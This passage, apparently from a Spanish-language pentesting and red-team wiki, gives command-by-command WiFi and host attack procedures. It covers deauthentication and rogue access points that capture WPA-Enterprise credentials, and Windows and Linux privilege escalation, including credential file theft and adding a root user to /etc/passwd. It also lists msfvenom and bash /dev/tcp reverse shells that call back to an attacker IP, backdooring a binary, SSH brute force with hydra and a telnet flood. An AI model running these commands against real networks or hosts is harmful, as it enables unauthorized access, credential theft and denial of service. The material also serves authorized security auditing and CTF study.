aireplay-ng -0 0 --essid [ESSID] -c [APDeLaRedVictima] -a [MACDelClienteADesautenticar] [wlan0mon] ``` {% endcode %} * Desautenticación de todos los cliente de la red ```bash aireplay-ng -0 0 --essid [ESSID] -c [APDeLaRedVictima] [wlan0mon] ``` ## 4. Descifrar tráfico capturado de una red ```bash airdecap-ng [fichero.cap] -p [password] -e [ESSID] ``` ## 5. Conexión a la red Una vez tenemos la contraseña de la red, para autenticarnos podemos generar el fichero "wpa\_supplicant\_ESSID.conf" En este fichero necesitamos el hash PSK, que lo generamos con wpa\_passphrase ``` echo "wpa_passphrase [ESSID] [password]" > wpa_supplicant_ESSID.conf ``` Y obtendremos algo como: ``` network={ ssid="MYSSID" #psk="passphrase" psk=4930a14b99a5884d2bbfa0fe7c3210bf6da8eb5788a0ec69a7507c5f0328a096 } ``` Con este resultado podremos conectarnos a la red (con la interfaz en modo managed) ``` wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1] ``` {% hint style="info" %} Una vez lanzado este comando, debemos leer los EVENT-SCAN-RESULTS para analizar los posibles fallos en la conexión (CTRL-EVENT-SCAN-FAILED). Cuanto veamos EVENT-SCAN-CONNECTED habremos conseguido conectarnos a la red. {% endhint %} Una vez conectados debemos solicitar una dirección IP al DHCP. ``` dhclient [wlan1] -v ``` ## 6. Recursos accesibles Cuando tenemos asignada una dirección IP en la red podemos saber el rango que tiene la red, lo que nos permite escanearla en busca de dispositivos conectados. * Client isolation. Esta característica lo que permite es que se puedan visualizar el resto de dispositivos conectados en la red. ``` sudo arp-scan --interface=wlan0 --localnet ``` * Nmap, que nos va a mostrar más nivel de detalle según las opciones que queramos obtener de los servicios disponibles en direcciones IP habilitadas. ``` nmap -Pn IP/rango ``` En los resultados que obtengamos podemos realizar nmaps que nos den más detalles de los servicios expuestos. ## Recursos y enlaces de referencia * # Redes MGT Redes WPA-MGT ## 1. Obtención de información Usando los filtros de Wireshark podemos conocer: ### 1.1. Identificación de usuarios de la red Los identificadores que los usuarios usan para autenticarse en la red: ``` eap.identity eapol.identity ``` Después buscamos en el detalle de los paquetes Identity.Response: * 802.1X Authentication > Extensible Authentication Protocol > Identity ### 1.2. Identificación del certificado del servidor El certificado usado por el servidor RADIUS: ``` tls.handshake.certificate ``` Después buscamos en el detalle: * TLSv1 Record Layer > Handshake Protocol > Certificate {% hint style="info" %} Para guardar el certificado: Click derecho sobre el string del certificado > Export Packet Bytes {% endhint %} ## 2. Autenticación del servidor RADIUS Es posible conocer los métodos de autenticación que acepta el servidor RADIUS, no sólo para analizarlos, sino de cara a futuras pruebas. Para ello debemos usar un usuario existente. ```bash cd EAP_buster/ bash ./EAP_buster.sh [ESSID] 'dominio\usuario' [wlan0mon] ``` ## 3. Obtener credenciales de usuarios Para obtener contraseñas de usuarios existentes en la red vamos a seguir estos pasos: 1. Generamos un certificado auto-firmado (si es con información similar a la red que queremos suplantar, será más real a los clientes que se conectarán posteriormente) ```bash cd eaphammer/ python3 ./eaphammer --cert-wizard ``` 2. Levantamos un Rogue AP suplantando a la red legítima {% code overflow="wrap" %} ```bash python3 ./eaphammer -i [wlan1] --auth wpa-eap --essid [ESSID] --creds --negotiate balanced ``` {% endcode %} 3. Para forzar que los clientes de la red se conecten a nuestro AP, identificamos los puntos de acceso de la red que tienen clientes conectados, y los des-autenticamos ```bash aireplay-ng -0 0 -a [APDeLaRedVictima] [wlan0mon] ``` 4. Cuando los clientes se conectan a nuestro AP, compartirán su hash NETNTLM, y para crackearlo usaremos ```bash hashcat -a 0 -m 5500 hash_file ~/rockyou.txt --force ``` ## 4. Downgrade de autenticación Si el servidor RADIUS acepta métodos de autenticación poco robustos, esta prueba nos permite obtener las credenciales de usuarios en texto plano. Esto lo conseguimos levantando un punto de acceso falso, y forzando que las conexiones se realicen usando el método de autenticación más débil. {% code overflow="wrap" %} ``` python3 ./eaphammer -i [wlan1] --auth wpa-eap --essid [ESSID] --creds --negotiate weakest ``` {% endcode %} Se pueden des-autenticar a los clientes conectados a un AP para forzar que se conecten al nuestro ``` aireplay-ng -0 0 -a [APDeLaRedVictima] [wlan0mon] ``` Y cuando los clientes se conecten a nuestro AP, será usando su contraseña en texto plano. ## 5. Fuerza bruta para obtener contraseñas Para esta prueba necesitamos indicar la MAC de la red víctima (ESSID), la ruta donde tenemos el diccionario que vamos a usar, y el usuario (además de la interfaz de red) ```bash cd air-hammer/ ./air-hammer.py -i [wlan1] -e [ESSID] -p [diccionario] -u [usuario] ``` ## 6. Password Spraying a un listado de usuarios Hay organizaciones que usan contraseñas con patrones conocidos (como por ejemplo Empresa.1, primavera2019...), y que facilitan a usuarios poco originales su generación de posteriores contraseñas. {% hint style="info" %} IMPORTANTE\ En esta prueba hay que tener en cuenta la política de bloqueo de usuarios, ya que si se realiza esta prueba varias veces se podrían bloquear usuarios. {% endhint %} Para este caso necesitamos tener un listado de usuarios válidos {% code overflow="wrap" %} ```bash cd air-hammer/ ./air-hammer.py -i [wlan1] -e [ESSID] -P [password] -u [listadoDeUsuarios.txt] ``` {% endcode %} ## 7. Relay attack Esta prueba consiste en realizar un ataque de MiTM, de forma que usaremos el challenge del AP con el cliente que pretende conectarse a la red, interceptando también la respuesta del cliente y reenviándola al punto de acceso legítimo, de forma que cuando se autentique el cliente con el AP legítimo estaremos "en medio" de la conexión. Para esta prueba usaremos 3 interfaces de red, varias consolas simultáneas, y seguiremos los siguientes pasos: 1. Identificar el AP de la red al que queremos reenviar las peticiones. 2. Crear el fichero de configuración wpa\_sycophant.conf ``` network={ ## Nombre de la red víctima ssid="ESSID" scan_ssid=1 key_mgmt=WPA-EAP identity="" anonymous_identity="" password="" eap=PEAP phase1="crypto_binding=0 peaplabel=0" phase2="auth=MSCHAPV2" ## BSSID de nuestro Rogue AP bssid_blacklist=[BSSID] } ``` 3. Para levantar el AP conectado al wpa\_sycophant usaremos berate\_ap. \*En el caso de la interfaz con salida a internet, suele ser "eth0", y si usamos alguna VPN "lo". {% code overflow="wrap" %} ```bash #Consola 1 cd berate_ap ./berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout outputMana.log [wlan1mon] [InterfazConLaQueTenemosSalidaAInternet] [ESSID] ``` {% endcode %} 4. Hacemos des-autenticación a los clientes del AP legítimo {% code overflow="wrap" %} ```bash #Consola 2 aireplay-ng -0 0 [wlan0mon] -a [APDeLaRedVictima] ``` {% endcode %} 5. Levantamos nuestro AP intermediario con wpa\_sycophant ```bash #Consola 3 cd wpa_sycophant/ ./wpa_sycophant.sh -c wpa_sycophant.conf -i [wlan2] ``` Debemos esperar a que el cliente se conecte a nuestro AP, y ahí wpa\_sycophant se conectará al AP legítimo para iniciar la autenticación. {% hint style="info" %} IMPORTANTE Si al lanzar wpa\_sycophant falla, debemos cambiar en el fichero wpa\_sycophant.conf phase1="peapver=1" {% endhint %} 6. Una vez se conecta el cliente al AP, asignamos una dirección IP ``` #Consola 4 dhclient [wlan2] -v ``` ## 8. Suplantar Punto de Acceso (Rogue AP) Para realizar esta prueba tenemos que tener varios factores en mente: 1. Debemos crear un certificado (como lo hemos obtenido en el punto 1, lo podemos replicar para que sea menos sospechoso a los clientes). Esta creación la podemos hacer de 2 formas: {% code overflow="wrap" %} ``` openssl x509 -inform der -in CERTIFICATE_FILENAME -text ``` {% endcode %} 2. Crear el servidor RADIUS con la información adecuada. Modificaremos 2 ficheros de la herramienta freeradius: * /etc/freeradius/3.0/certs/ca.cnf ``` [certificate_authority] countryName = US stateOrProvinceName = {2 letter state} localityName = {City} organizationName = {Company Name} emailAddress = {Email} commonName = "Such and Such Certificate Authority" ``` * /etc/freeradius/3.0/certs/server.cnf {% code overflow="wrap" %} ``` [server] countryName = US stateOrProvinceName = {2 letter state} localityName = {City} organizationName = {Company Name} emailAddress = {Email} commonName = "Such and Such Certificate Authority" ``` {% endcode %} Nos cambiamos al directorio /etc/freeradius/3.0/certs/ ``` rm dh && make ``` 3. Configurar el Rogue AP. Para ello usaremos hostpad-mana. Cambiamos nuestra ubicación a /etc/hostapd-mana/ (o donde tengamos instalada la herramienta), y modificamos los archivos * mana.conf: {% code overflow="wrap" %} ``` # AP SSID ssid=[BSSID] interface=[wlan0] driver=nl80211 # CANAL DONDE SE ENCUENTRA EL AP channel=[44] hw_mode=g # Configurar hostapd como servidor EAP ieee8021x=1 eap_server=1 eapol_key_index_workaround=0 # EAP user file we created earlier eap_user_file=/etc/hostapd-mana/mana.eap_user # Rutas del certificado ca_cert=/etc/freeradius/3.0/certs/ca.pem server_cert=/etc/freeradius/3.0/certs/server.pem private_key=/etc/freeradius/3.0/certs/server.key # Contraseña de la red private_key_passwd=[whatever] dh_file=/etc/freeradius/3.0/certs/dh # Open authentication auth_algs=1 # WPA/WPA2 wpa=3 # WPA Enterprise wpa_key_mgmt=WPA-EAP wpa_pairwise=CCMP TKIP mana_wpe=1 # Almacenar credenciales en el fichero mana_credout=/tmp/hostapd.credout # Enviar 1 si la conexión EAP ha tenido exito, para que el usuario piense que se ha conectado a la red mana_eapsuccess=1 # EAP TLS MitM mana_eaptls=1 ``` {% endcode %} * mana.eap\_user {% code overflow="wrap" %} ``` * PEAP,TTLS,TLS,FAST "t" TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,MD5,GTC,TTLS,TTLS-MSCHAPV2 [pass] ``` {% endcode %} 4. Habilitar Rogue AP Lanzamos el Rogue AP con hostapd-mana ``` hostapd-mana /etc/hostapd-mana/mana.conf ``` ## 9. Conexión a la red Una vez tenemos credenciales válidas, debemos configurar el fichero wpa\_supplicant\_ESSID.conf {% code overflow="wrap" %} ``` ssid=[BSSID] scan_ssid=1 key_mgmt=WPA-EAP identity=[Dominion\usuario password=[password] eap=PEAP phase1="peaplabel=0" phase2="auth=MSCHAPV2" } ``` {% endcode %} Con este resultado podremos conectarnos a la red (con la interfaz en modo managed) ``` wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1] ``` {% hint style="info" %} Una vez lanzado este comando, debemos leer los EVENT-SCAN-RESULTS para analizar los posibles fallos en la conexión (CTRL-EVENT-SCAN-FAILED). Cuanto veamos EVENT-SCAN-CONNECTED habremos conseguido conectarnos a la red. {% endhint %} Una vez conectados debemos solicitar una dirección IP al DHCP. ``` dhclient [wlan1] -v ``` ## Herramientas * * * * * * * ## Recursos y enlaces de referencia * [WifiChallengeLab](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/) # Redes ocultas {% hint style="info" %} Al lanzar airodump es posible identificar las redes ocultas, ya que se muestran en el campo ESSID con el formato "\". {% endhint %} ## Obtener el ESSID de redes ocultas Hay dos formas de obtenerlo: 1. Con mdk4 ``` mdk4 [wlan0mon] p -t [BSSID] -f [rutaDiccionario] ``` 2. Con kismet Mientras tenemos lanzado un airodump, en otra terminal lanzamos kismet: ``` #Consola 1 airodump --band abg [wlan0mon] -w escaneo #Consola 2 kismet -c [wlan0mon] ``` {% hint style="info" %} Según vaya identificando kismet los SSID, los actualiza en airodump {% endhint %} ## Conexión a la red En las redes ocultas el fichero de configuración tiene la siguiente estructura * Si no tiene contraseña ``` network={ ssid="ESSID" key_mgmt=NONE scan_ssid=1 } ``` * Si tiene contraseña, y se trata de una red es PSK, debemos revisar su sección "5. Conexión a la red" en la wiki :smile: ## Recursos y enlaces de referencia * * # Pentesting / Red team En esta sección te podrás encontrar diferentes técnicas que pueden ayudarte en auditorías de pentesting o ejercicios de Red Team Según el entorno en el que estés auditando, tendrás que hacer uso de unos TTP (técnicas, tácticas y procedimientos) u otros. Recursos: * * * # Windows ### Herramientas * WinPEAS ### Referencias * # Enumeración :warning: Ten en cuenta que si el equipo está dentro de un dominio debes revisar la sección de [Enumeración de AD](/securiters-wiki/internas/ad/enumeracion). ## Información básica del equipo ``` whoami systeminfo hostname net users net logalgroups netsh firewall show state netsh firewall show config netstat -ano ``` Tareas programadas ``` schtasks /query /fo LIST /v ``` Parches instalados en el equipo ``` wmic qfe get Caption,Description,HotFixID,InstalledOn ``` Drivers instalados ``` driverquery ``` ## Ficheros e información sensible Buscar ficheros {% code overflow="wrap" %} ``` findstr /si password *.txt findstr /spin "password" *.* findstr /si password *.xml findstr /si password *.ini #Buscar cadenas de texto en ficheros de configuración dir /s *pass* == *cred* == *vnc* == *.config* ``` {% endcode %} Buscar registros ``` #autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" #putty reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" #contraseñas reg query HKLM /f password /t REG_SZ /s reg query HKCU /f password /t REG_SZ /s # VNC reg query "HKCU\Software\ORL\WinVNC3\Password" # Windows autologin reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # SNMP Paramters reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # Putty reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" ``` Listar parches de seguridad instalados ``` wmic qfe get Caption,Description,HotFixID,InstalledOn ``` #### Exploits * EthernalBlue (CVE-2017-0143) * PrintNightmare (CVE-2021–34527) * DirtyCow (CVE-2016-5195) * noPac (CVE-2021-42278 y CVE-2021-42287) * ProxyLogon (CVE-2021-26855) # Elevación de Privilegios ## Configuración de servicios ## Configuración de ficheros Usamos el comando `icalcs "C:\ruta\al\fichero\o\directorio"` para conocer la configuración de un fichero, con 3 posibles modos: * (F) Full Control * (M) Modify * (W) Write ## Configuración de registros ``` reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` Una vez nos aparece como resultado "0x1" (que el bit está a 1, es decir, habilitado) podemos generar un exploit a la máquina víctima: {% code overflow="wrap" %} ``` msfvenom --platform windows --arch x64 --payload windows/x64/shell_reverse_tcp LHOST=X.X.X.X LPORT=1337 --encoder x64/xor --iterations 9 --format msi --out AlwaysInstallElevated.msi ``` {% endcode %} ## Gestión de contraseñas Para listar las credenciales almacenadas ``` cmdkey /list ``` Para enviar una copia de la SAM ``` copy C:\Windows\Repair\SAM \\IP.DE.TU.MAQUINA\ copy C:\Windows\Repair\SYSTEM \\IP.DE.TU.MAQUINA\ ``` Teniendo credenciales de la máquina víctima podemos extraer las credenciales con [secretsdump](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) de [Impacket](https://github.com/fortra/impacket) ``` python3 secretsdump.py domain/user:password@IP.DE.MAQUINA.VICTIMA ``` ## Tareas programadas {% code overflow="wrap" %} ``` schtasks /query /fo LIST /v #cmd Get-ScheduledTask #PS ``` {% endcode %} ## Manipulación de privilegios Hay 3 posibles formas de evadirlos y aprovecharlos: 1. **Suplantación/Robo de Token** - Un atacnte duplica un token existente usando `DuplicateToken(Ex)`. El token puede entonces ser utilizado con `ImpersonateLoggedOnUser` para permitir que el hilo de llamada suplante el contexto de seguridad de un usuario conectado, o con `SetThreatTokento` asignar el token suplantado a un hilo. Esto es útil para cuando el usuario objetivo tiene una sesión de inicio de sesión no de red en el sistema. 2. **Crear Proceso con un Token** - Un atacante crea un nuevo token de acceso con `DuplicateToken(Ex)` y lo usa con `CreateProcessWithTokenW` para crear un nuevo proceso que se ejecuta bajo el contexto de seguridad del usuario suplantado. 3. **Creación y suplantación de Token** - Un atacante con credenciales pero sin haber iniciado sesión en el sistema puede crear una sesión utilizando`LogonUserfunction`. La función devolverá una copia del token de acceso de la sesión y el atacante puede utilizar`SetThreadtTokento` asignar el token a un hilo. Para saber la configuración que tiene una máquina: ``` whoami /priv ``` Una vez sabemos los privilegios habilitados, vamos a ver los más interesantes:
NombreDescripción
SeImpersonatePrivilegeSuplanta a un usuario tras haberse autenticado
SeBackupPrivilegeDa acceso a cualquier fichero sin tener en cuenta su ACL
SeCreateTokenPrivilegeEste token puede ser utilizado solamente si el usuario puede suplantar tokens (incluso sin SeImpersonatePrivilege)
SeLoadDriverPrivilegeCarga y descarga drivers
SeRestorePrivilegeDa permisos de escritura a cualquier fichero.
SeTakeOwnershipPrivilegeToma el control de un objeto sin que se haya concedido acceso.
SeTcbPrivilegeA través de KERB_S4U_LOGON se puede obtener un token de suplantación a cualquier otro usuario sin conocer las credenciales, añadir un grupo arbitrario (admins) al token, establecer el nivel de integridad del token en "medium", y asignar este token al hilo actual (SetThreadToken).
## Herramientas * winPEASany.exe * Seatbelt.exe * PowerUp.ps1 * SharpUp.exe ## Recursos * * ## Herramientas * * * # Linux # Enumeración Aquí vamos a identificar y comprobar permisos, configuraciones, procesos corriendo... Cualquier cosa que pueda darnos una vía para posteriormente escalar privilegios, ya sea accediendo como root, ejecutando comandos con los permisos de éste, elevando los permisos de nuestro usuario, etc... Listar servicios corriendo como root ```jsx ps aux | grep root ``` Listar servicios corriendo como root , permiso, y exports NFS {% code overflow="wrap" %} ```jsx echo 'services running as root'; ps aux | grep root; echo 'permissions'; ps aux | awk '{print $11}'|xargs -r ls -la 2>/dev/null |awk '!x[$0]++'; echo 'nfs info'; ls -la /etc/exports 2>/dev/null; cat /etc/exports 2>/dev/null ``` {% endcode %} Listar conexiones en la máquina y servicios a la escucha asignados a puertos ```jsx netstat -putona ``` Configuración de red {% code overflow="wrap" %} ```jsx /sbin/ifconfig -a; cat /etc/network/interfaces; cat /etc/sysconfig/network; cat /etc/resolv.conf; cat /etc/sysconfig/network; cat /etc/networks; iptables -L; hostname; dnsdomainname ``` {% endcode %} Listar programas con el SUID activado (que se ejecuten con permisos de root) ```jsx find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 6 -exec ls -ld {} \\; 2>/dev/null find / -perm -1000 -type d 2>/dev/null find / -perm -g=s -type f 2>/dev/null ``` Listar tareas programados {% code overflow="wrap" %} ```jsx crontab -l ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root crontab -l; ls -alh /var/spool/cron; ls -al /etc/ | grep cron; ls -al /etc/cron*; cat /etc/cron*; cat /etc/at.allow; cat /etc/at.deny; cat /etc/cron.allow; cat /etc/cron.deny ``` {% endcode %} Listar variables de entorno {% code overflow="wrap" %} ``` env export cat /etc/profile; cat /etc/bashrc; cat ~/.bash_profile; cat ~/.bashrc; cat ~/.bash_logout; env; set ``` {% endcode %} Listar impresoras ``` lpstat -a ``` Listar aplicaciones instaladas * ls -alh /usr/bin/; ls -alh /sbin/; dpkg -l; rpm -qa; ls -alh /var/cache/apt/archivesO; ls -alh /var/cache/yum/\*; Listar archivos de configuración con permisos de escritura (directorio /etc/) ``` /find /etc/ -writable -type f 2>/dev/null ``` Listar servicios mal configurados {% code overflow="wrap" %} ``` cat /etc/syslog.conf; cat /etc/chttp.conf; cat /etc/lighttpd.conf; cat /etc/cups/cupsd.conf; cat /etc/inetd.conf; cat /etc/apache2/apache2.conf; cat /etc/my.conf; cat /etc/httpd/conf/httpd.conf; cat /opt/lampp/etc/httpd.conf; ls -aRl /etc/ | awk '$1 ~ /^.r./' ``` {% endcode %} Buscar contraseñas/usuarios hardcodeados• grep -i user \[filename] ``` grep -i pass [filename] find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password" grep -C 5 "password" [filename] ``` Buscar otros usuarios {% code overflow="wrap" %} ``` id; who; w; last; cat /etc/passwd | cut -d: -f1; echo 'sudoers:'; cat /etc/sudoers; sudo -l ``` {% endcode %} Listar superusuarios ``` grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}' awk -F: '($3 == "0") {print}' /etc/passwd ``` Listar directorios /home/ de otros usuarios ``` ls -ahlR /root/; ls -ahlR /home/ ``` Contenido del histórico del usuario {% code overflow="wrap" %} ```jsx cat ~/.bash_history; cat ~/.nano_history; cat ~/.atftp_history; cat ~/.mysql_history; cat ~/.php_history ``` {% endcode %} Contenido de mails de usuarios ```jsx cat ~/.bashrc; cat ~/.profile; cat /var/mail/root; cat /var/spool/mail/root ``` Búsqueda de aplicaciones de interés (para futuras operaciones) (WGET, NC/NetCat, FTP) {% code overflow="wrap" %} ```jsx find / -name wget; find / -name nc*; find / -name netcat*; find / -name tftp*; find / -name ftp ``` {% endcode %} Listar unidades de disco / sistemas de archivo montados en la máquina ```jsx mount; df -h; cat /etc/fstab ``` Listar carpetas con permisos de lectura, escritura y ejecución globales {% code overflow="wrap" %} ```bash echo "world-writeable folders"; find / -writable -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -222 -type d 2>/dev/null; echo "world-writeable folders"; find / -perm -o w -type d 2>/dev/null; echo "world-executable folders"; find / -perm -o x -type d 2>/dev/null; echo "world-writeable & executable folders"; find / \\( -perm -o w -perm -o x \\) -type d 2>/dev/null; ``` {% endcode %} Ficheros donde buscar claves privadas de SSH ``` ~/.ssh/authorized_keys ~/.ssh/identity.pub ~/.ssh/identity ~/.ssh/id_rsa.pub ~/.ssh/id_rsa ~/.ssh/id_dsa.pub ~/.ssh/id_dsa /etc/ssh/ssh_config /etc/ssh/sshd_config /etc/ssh/ssh_host_dsa_key.pub /etc/ssh/ssh_host_dsa_key /etc/ssh/ssh_host_rsa_key.pub /etc/ssh/ssh_host_rsa_key /etc/ssh/ssh_host_key.pub /etc/ssh/ssh_host_key ``` Búsqueda de información en logs de interés ``` ~/.ssh/authorized_keys /etc/httpd/logs/access.log/ etc/httpd/logs/error_log /etc/httpd/logs/error.log /var/log/apache2/access_log /var/log/apache2/access.log /var/log/apache2/error_log /var/log/apache2/error.log /var/log/apache/access_log /var/log/apache/access.log /var/log/auth.log /var/log/chttp.log /var/log/cups/error_log /var/log/dpkg.log /var/log/faillog /var/log/httpd/access_log /var/log/httpd/access.log /var/log/httpd/error_log /var/log/httpd/error.log /var/log/lastlog /var/log/lighttpd/access.log /var/log/lighttpd/error.log /var/log/lighttpd/lighttpd.access.log /var/log/lighttpd/lighttpd.error.log /var/log/messages /var/log/secure /var/log/syslog /var/log/wtmp /var/log/xferlog /var/log/yum.log /var/run/utmp /var/webmin/miniserv.log /var/www/logs/access_log /var/www/logs/access.log /var/lib/dhcp3/ /var/log/postgresql/ /var/log/proftpd/ /var/log/samba/ ``` # Elevación de Privilegios ## **Cambiar de usuario** ``` sudo su su $user su - $user ``` ## Comandos disponibles como SU Lista los comandos permitidos (y prohibidos) comandos para el usuario invocador (o el usuario especificado por la opción -U) en el equipo actual. ``` sudo -l ``` ## **SUID** Set User ID, permite ejecutar ficheros con los mismos permisos que el usuario que lo creó. ``` find / -perm -u=s -type f 2>/dev/null ``` ## **Crontab** ``` cat /etc/crontab cat /var/spool/cron/crontabs crontab -l pspy64 ls -alh /var/spool/cron ls -al /etc/ | grep cron ls -al /etc/cron* cat /etc/cron* cat /etc/at.allow cat /etc/at.deny cat /etc/cron.allow cat /etc/cron.deny cat /etc/crontab cat /etc/anacrontab cat /var/spool/cron/crontabs/root ``` ## **Capabilities** ``` getcap -r / 2>/dev/null ``` ## **Path Hijacking** ``` export PATH = /loquenosinteresa:$PATH ``` ## **Exploit de kernel** ``` uname -a cat /etc/issue; cat /etc/*-release; cat /etc/lsb-release; cat /etc/redhat-release; ``` Exploits: * DirtyCow: ## **Revisar permisos /etc/passwd** Crear usuario con permisos de root {% code overflow="wrap" %} ``` echo 'securiters' | openssl passwd -1 -stdin *contraseña securiters echo 'securiters:$1$yaydcWmg$BEho28chpEDpOSpl1kKdh0:0:0:root:/root:/bin/bash' >> /etc/passwd User root/root root:$1$root$9gr5KxwuEdiI80GtIzd.U0:0:0:root:/root:/bin/bash ``` {% endcode %} ## **Revisar archivos** ``` /var /var/backups /opt find / -writable 2>/dev/null | grep -vE "proc|cgroup" ``` ## Recursos * ## Herramientas * # Shells ## 1. Webshells En Kali está la ruta ``` /usr/share/webshells ``` PHP {% code overflow="wrap" %} ``` # Ejecuta un comando # shell.php?cmd=whoami # Igual con passthru # Para que shell_exec muestre el resultado hay que usar echo # preg_replace(). # Usando backticks $output"; ?> ``` {% endcode %} ## 2. Generación de shells Msfvenom 1. Windows {% code overflow="wrap" %} ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell_reverse.exe ``` {% endcode %} ``` use exploit/multi/handler set payload windows/meterpreter/reverse_tcp ``` Inyectar el payload en un binario {% code overflow="wrap" %} ``` msfvenom -p windows/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -e x86/shikata_ga_nai -i 9 -x "/binario.exe" -o binariOutput.exe ``` {% endcode %} 2. Linux {% code overflow="wrap" %} ``` 0<&196;exec 196<>/dev/tcp/IP/PORT; sh <&196 >&196 2>&196 ``` {% endcode %} ``` bash -i >& /dev/tcp/IP/PORT 0>&1 #encoded bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2FIP%2FPORT%200%3E%261%22 ``` ## 3. Shells interactivas **Python** ``` python -c 'import pty; pty.spawn("/bin/sh")' python -c "import pty;pty.spawn('/bin/bash')" python -c 'import os; os.system("/bin/bash")' ``` **Echo** ``` echo 'os.system('/bin/bash')' ``` **sh** ``` /bin/sh -i ``` **bash** ``` /bin/bash -i ``` **Perl** ``` perl -e 'exec "/bin/sh";' ``` **Desde FTP** ``` !/bin/bash ``` **Desde VI** ``` :!bash :set shell=/bin/bash :sh ``` ## 4. Evasión de shells restrictivas SSH ``` ssh username@IP -t "/bin/sh" ssh username@IP -t "bash --noprofile" ``` ```unknown echo /usr/bin/* $(whoami) ${whoami} ``` Editores de texto ``` :!/bin/sh :shell :set shell=/bin/sh ``` Python ``` import os; os.system("/bin/sh") ``` PHP ``` exec("sh -i"); php -r "system('/bin/bash');" hp -a then exec("sh -i"); ``` Miscellaneous ``` awk 'BEGIN {system("/bin/sh")}' find / -name foobar -exec /bin/sh \; echo "bash -i" | tee script.sh ``` ## Referencias * * * ## Recursos: * * # Blue Team ## :construction: UNDER CONSTRUCTION :construction: ## ### Recursos y enlaces de referencia * [DetectLog4j](https://cyberdefenders.org/blueteam-ctf-challenges/86) # Puertos & Servicios En esta sección tienes los servicios con vulnerabilidades y técnicas de su explotación # 21 - FTP File Transfer Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *ftp* en el NSE nmap -p 21 -sV --script=*ftp* IP #opcion 2 - específicamente los siguientes nmap -p 21 -sV --script=ftp-anon,ftp-brute,ftp-syst,ftp-libopie,ftp-bounce.ftp-vsftpd-backdoor,ftp-proftpd-backdoor,ftp-vuln-cve2010-4221 IP ``` {% endcode %} ## Probar ### Autenticación anónima ``` root@kali# ftp IP User: anonymous Password: anonymous ``` ## Máquinas resueltas que usan FTP * HTB * Devel * Pikaboo * Cap ## Referencias # 22 - SSH Protocolo Secure Shell ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *ssh* en el NSE nmap -p 22 -sV --script=*ssh* IP #opcion 2 - específicamente los siguientes nmap -p 22 -sV --script=ssh-auth-methods,ssh-run,ssh2-enum-algos,ssh-publickey-acceptance,ssh-hostkey IP ``` {% endcode %} ## Probar ### Fuerza bruta * Hydra: ```bash hydra -l root -P /usr/share/wordlists/rockyou.txt IP -t 4 ssh ``` {% code overflow="wrap" %} ```bash hydra -L /usr/share/wordlists/rockyou.txt -P /usr/share/wordlists/rockyou.txt IP -t 4 ssh ``` {% endcode %} ## A tener en cuenta * En el caso de mostrar el siguiente mensaje de error al intentar autenticarte: no matching key exchange method found. Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1 Usa: ```bash ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 user@IP -p port ``` * Para crear clave publica con clave privada RSA: * Para conectarnos a este servicio usaremos los siguientes comandos: ``` ssh user@IP ssh user@IP -i id.rsa ``` ## Máquinas resueltas que usan SSH * HTB * Cap * Latte * Forge * TwoMillion ## Referencias # 23 - Telnet Protocolo Telnet ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *telnet* en el NSE nmap -p 23 -sV --script=*telnet* IP #opcion 2 - específicamente los siguientes nmap -p 23 -sV --script=telnet-encryption,telnet-ntlm-info,telnet-brute IP ``` {% endcode %} ## Probar * Para conectarnos a este servicio usaremos el siguiente comando: ``` telnet IP 23 ``` * Exposición de información en el banner ``` nc -vn IP 23 telnet IP 23 ``` * Denegación de servicio ``` hping3 -S -p 23 --flood 23 ``` * Fuerza bruta ``` hydra -l -P IP telnet hydra -L -P IP telnet ``` ## Máquinas resueltas que usan Telnet * HTB * Meow * Antique ## Referencias # 25 - SMTP Simple Mail Transfer Protocol ## Nmap Para facilitar información de este puerto puedes usar sus NSE's correspondientes {% code overflow="wrap" %} ``` #opcion 1 - todos los que contengan *telnet* en el NSE nmap -p 25 -sV --script=*smtp* IP #opcion 2 - específicamente los siguientes nmap -p 25 -sV --script=telnet-encryption,telnet-ntlm-info,telnet-brute IP ``` {% endcode %} ## Probar ### Comandos de SMTP • HELO – Comando enviado por el cliente para identificarse. Ejemplo: HELO 192.168.101 or HELO [client.microsoft.com](http://client.microsoft.com). • EHLO – Es similar al comando HELO. La diferencia se basa en comunicar al servidor que el cliente quiere usar el modo extendido de SMTP: ESMTP. • STARTTLS – Emplear cifrado TLS para cifrar las comunicaciones pues por defecto SMTP se comunica en texto plano. • RCPT TO – Especifica la dirección de correo del destinatario. • DATA – Comienza la transferencia del contenido del mensaje. • RSET – Resetear/abortar la comunicación.. • MAIL – Especifica la 